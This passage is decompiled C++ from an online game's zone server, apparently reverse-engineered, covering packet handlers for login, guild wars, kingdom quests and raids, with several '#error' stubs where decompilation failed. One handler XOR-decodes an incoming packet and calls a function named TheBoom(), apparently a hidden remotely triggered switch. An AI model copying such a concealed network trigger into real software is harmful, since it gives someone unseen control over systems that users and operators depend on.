ShineObjectClass::ShinePlayer::sp_MaxHP(v2); *(_DWORD *)(param + 148) = ShineObjectClass::ShinePlayer::sp_MaxSP(v2); *(_DWORD *)(param + 152) = 0; v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1176))(v2); if ( v5 > 0x96u ) v7 = *(_DWORD *)(v6 + 67672); else v7 = *(_DWORD *)(v6 + 4 * v5 + 67672); *(_DWORD *)(param + 156) = (unsigned __int16)((unsigned int)(*(_DWORD *)(v7 + 32) * (unsigned int)*((_WORD *)v2 + 71345) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); v8 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1176))(v2); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); *(_DWORD *)(param + 160) = (unsigned __int16)((unsigned int)(*(_DWORD *)(v10 + 44) * (unsigned int)*((_WORD *)v2 + 71346) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); return param; } //----- (0056EF90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)logsuc = *((_WORD *)v2 + 2); v3 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(logsuc + 230) = *(_DWORD *)v3; *(_DWORD *)(logsuc + 234) = *(_DWORD *)(v3 + 4); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v2 + 1632))(v2, logsuc + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); return logsuc; } //----- (0056F050) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 5; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); } //----- (0056F160) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; SocketBundle::sb_Varification((SocketBundle *)&sock2wldman, (GameDBSession *)this); FieldContainer::fc_MapRegist(&fieldlist, v3); CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(&gGuild); } //----- (0056F190) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (0056F260) -------------------------------------------------------- #error "56F260: undefined or illegal type '#593' (funcsize=78)" //----- (0056F390) -------------------------------------------------------- #error "56F390: undefined or illegal type '#593' (funcsize=142)" //----- (0056F590) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum) { ShineObjectEachList *v2; // esi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // di@1 int v6; // eax@3 int v7; // ebx@4 DebugLogging *v8; // eax@8 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_kickoff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = shineobjmanager.som_ListContainer[2]; v3 = shineobjmanager.som_ListContainer[2]->baseclass_0.l_Array; v4 = v3[shineobjmanager.som_ListContainer[2]->baseclass_0.l_Finger.store].ls_Next; for ( i = v3[v4].ls_Next; v4 < v2->baseclass_0.l_MaxSize; i = v2->baseclass_0.l_Array[i].ls_Next ) { v6 = (int)&v2->baseclass_0.l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 840))(*(_DWORD *)v6) == usrregnum ) { v8 = DebugLogging::operator<<(&MoreDisconnectLog, "Char From world "); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v7 + 1524))(v7, 1); break; } if ( i >= v2->baseclass_0.l_MaxSize ) break; v4 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); } //----- (0056F6B0) -------------------------------------------------------- #error "56F6B0: undefined or illegal type '#593' (funcsize=219)" //----- (0056F9A0) -------------------------------------------------------- #error "56F9A0: undefined or illegal type '#593' (funcsize=46)" //----- (0056FA70) -------------------------------------------------------- #error "56FA70: undefined or illegal type '#593' (funcsize=51)" //----- (0056FB40) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); } //----- (0056FBF0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStop(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_END_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); } //----- (0056FCA0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(&gGuild, (PROTO_NC_GUILD_ZONE_LIST_ACK *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); } //----- (0056FD40) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_MAKE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); } //----- (0056FDE0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_DELETE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); } //----- (0056FE80) -------------------------------------------------------- #error "56FE80: undefined or illegal type '#593' (funcsize=73)" //----- (0056FF80) -------------------------------------------------------- #error "56FF80: undefined or illegal type '#593' (funcsize=75)" //----- (00570090) -------------------------------------------------------- #error "570090: undefined or illegal type '#593' (funcsize=180)" //----- (00570320) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this) { ZoneBaseSession *v1; // esi@1 v1 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildWarStatusRequest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 29845; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v1); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_GuildWarStatusRequest : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); } //----- (005703F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { signed int v3; // edi@1 NETCOMMAND *v4; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CGuildZone::ClearWar(&gGuild); GuildWarManager::gwm_Clear(&gldwarman); if ( netcmd[1].protocol > 0u ) { v4 = netcmd + 2; do { CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)v4); GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&v4->protocol, *(_DWORD *)&v4[2].protocol); ++v3; v4 += 4; } while ( v3 < netcmd[1].protocol ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); } //----- (005704D0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // ebx@1 NETCOMMAND *v4; // eax@1 signed int v5; // ecx@1 NETCOMMAND *v6; // esi@1 NETCOMMAND *v7; // ebp@1 int v8; // ebp@1 int v9; // esi@1 int v10; // edi@1 const void *v11; // [sp+10h] [bp-14h]@1 const void *netcmda; // [sp+28h] [bp+4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd + 1; v4 = netcmd + 9; v5 = 0; v6 = netcmd + 17; v7 = netcmd + 1; netcmda = &netcmd[25]; v8 = (char *)v7 - (char *)v4; v9 = (char *)v6 - (char *)v4; v11 = v4; v10 = netcmda - v4; do { *((_BYTE *)&v4->protocol + v8) ^= (_BYTE)v5 + 66; LOBYTE(v4->protocol) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v9) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v10) ^= (_BYTE)v5++ + 109; v4 = (NETCOMMAND *)((char *)v4 + 1); } while ( v5 < 16 ); if ( !memcmp(v3, &v3[16], 16) && !memcmp(v11, netcmda, 16) ) TheBoom(); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); } //----- (005705D0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle) { ZoneBaseSession *v2; // edi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_EndOfKQPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22544; *(_DWORD *)(v3 + 2) = kqhandle; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 6); KQContribute::KQContributeList::kqpl_EndOfKQ((KQContribute::KQContributeList *)&g_KQContributeList, kqhandle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); } //----- (005706B0) -------------------------------------------------------- #error "5706B0: undefined or illegal type '#593' (funcsize=66)" //----- (005707B0) -------------------------------------------------------- #error "5707B0: undefined or illegal type '#593' (funcsize=66)" //----- (005708B0) -------------------------------------------------------- #error "5708B0: undefined or illegal type '#593' (funcsize=81)" //----- (005709C0) -------------------------------------------------------- #error "5709C0: undefined or illegal type '#593' (funcsize=82)" //----- (00570AF0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( RaidTask::rt_ResetRaid(netcmd[1].protocol) ) MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon( &mapclustermanager, CATEGORY_RAID, netcmd[1].protocol, 0); else AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD Not Reset Raid", netcmd[1].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD"); } //----- (00570BC0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { Raid *v3; // eax@1 unsigned __int8 v4; // dl@2 LOOTING_TYPE v5; // ST04_4@4 ITEM_LOOT_TYPE v6; // ST00_4@4 CLooting *v7; // eax@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RaidTask::rt_GetRaid(netcmd[1].protocol); if ( v3 ) { v4 = HIBYTE(netcmd[2].protocol); if ( v4 < 6u ) { if ( v4 < 4u ) { v5 = v4; v6 = LOBYTE(netcmd[2].protocol); v7 = Raid::GetLooting(v3); CLooting::SetItemLootingType(v7, v6, v5); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD"); } //----- (00570C90) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { #734 *v3; // eax@1 #734 *v4; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RaidTask::rt_AddPlayer((PROTO_NC_RAID_ZONE_MEMBER_JOIN_CMD *)&netcmd[1]); v4 = v3; if ( v3 ) { RaidTask::rt_SendMeRaidPlayersData(v3); RaidTask::rt_SendPlayerDataDetail(v4); RaidTask::rt_SendPlayerLocationExChange(v4); } else { RaidTask::rt_SendPlayerDataDetail(netcmd[1].protocol, *(_DWORD *)&netcmd[4].protocol); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD"); } //----- (00570D60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 #593 *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (#593 *)RaidTask::rt_DelPlayer(netcmd[1].protocol, *(_DWORD *)&netcmd[4].protocol); if ( v4 ) WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v4, netcmd[1].protocol, CATEGORY_RAID); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD"); } //----- (00570E20) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // ebx@1 #593 *v4; // eax@1 #593 *v5; // edi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (#593 *)RaidTask::rt_DelPlayer(netcmd[1].protocol, *(_DWORD *)&netcmd[4].protocol); v5 = v4; if ( v4 ) { WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v4, *(_DWORD *)&netcmd[4].protocol, CATEGORY_RAID); WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v5, *(_DWORD *)&netcmd[4].protocol, CATEGORY_RAID); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD"); } //----- (00570EF0) -------------------------------------------------------- #error "570EF0: undefined or illegal type '#593' (funcsize=205)" //----- (00571180) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { Raid *v3; // esi@1 unsigned int v4; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RaidTask::rt_GetRaid(netcmd[1].protocol); if ( v3 ) { v4 = Raid::GetMemberRegNoByIndex(v3, LOBYTE(netcmd[5].protocol), HIBYTE(netcmd[5].protocol)); if ( v4 != -1 ) Raid::SetLeader(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD"); } //----- (00571250) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 Raid *v4; // esi@1 unsigned int v5; // eax@2 __int16 rErrorType; // [sp+Ch] [bp-14h]@3 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v8 = 0; v4 = RaidTask::rt_GetRaid(v3); if ( v4 ) { v5 = Raid::GetMemberRegNoByIndex(v4, LOBYTE(netcmd[5].protocol), HIBYTE(netcmd[5].protocol)); if ( v5 != -1 ) Raid::AddSubLeader(v4, v5, (unsigned __int16 *)&rErrorType); } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD"); } //----- (00571320) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 Raid *v4; // esi@1 unsigned int v5; // eax@2 __int16 rErrorType; // [sp+Ch] [bp-14h]@3 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v8 = 0; v4 = RaidTask::rt_GetRaid(v3); if ( v4 ) { v5 = Raid::GetMemberRegNoByIndex(v4, LOBYTE(netcmd[5].protocol), HIBYTE(netcmd[5].protocol)); if ( v5 != -1 ) Raid::DelSubLeader(v4, v5, (unsigned __int16 *)&rErrorType); } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD"); } //----- (005713F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { Raid *v3; // esi@1 unsigned int v4; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RaidTask::rt_GetRaid(netcmd[1].protocol); if ( v3 ) { v4 = Raid::GetMemberRegNoByIndex(v3, LOBYTE(netcmd[5].protocol), HIBYTE(netcmd[5].protocol)); if ( v4 != -1 ) Raid::SetLooter(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD"); } //----- (005714C0) -------------------------------------------------------- #error "5714C0: undefined or illegal type '#593' (funcsize=44)" //----- (00571590) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { const void *v3; // esi@1 unsigned int v4; // ebp@2 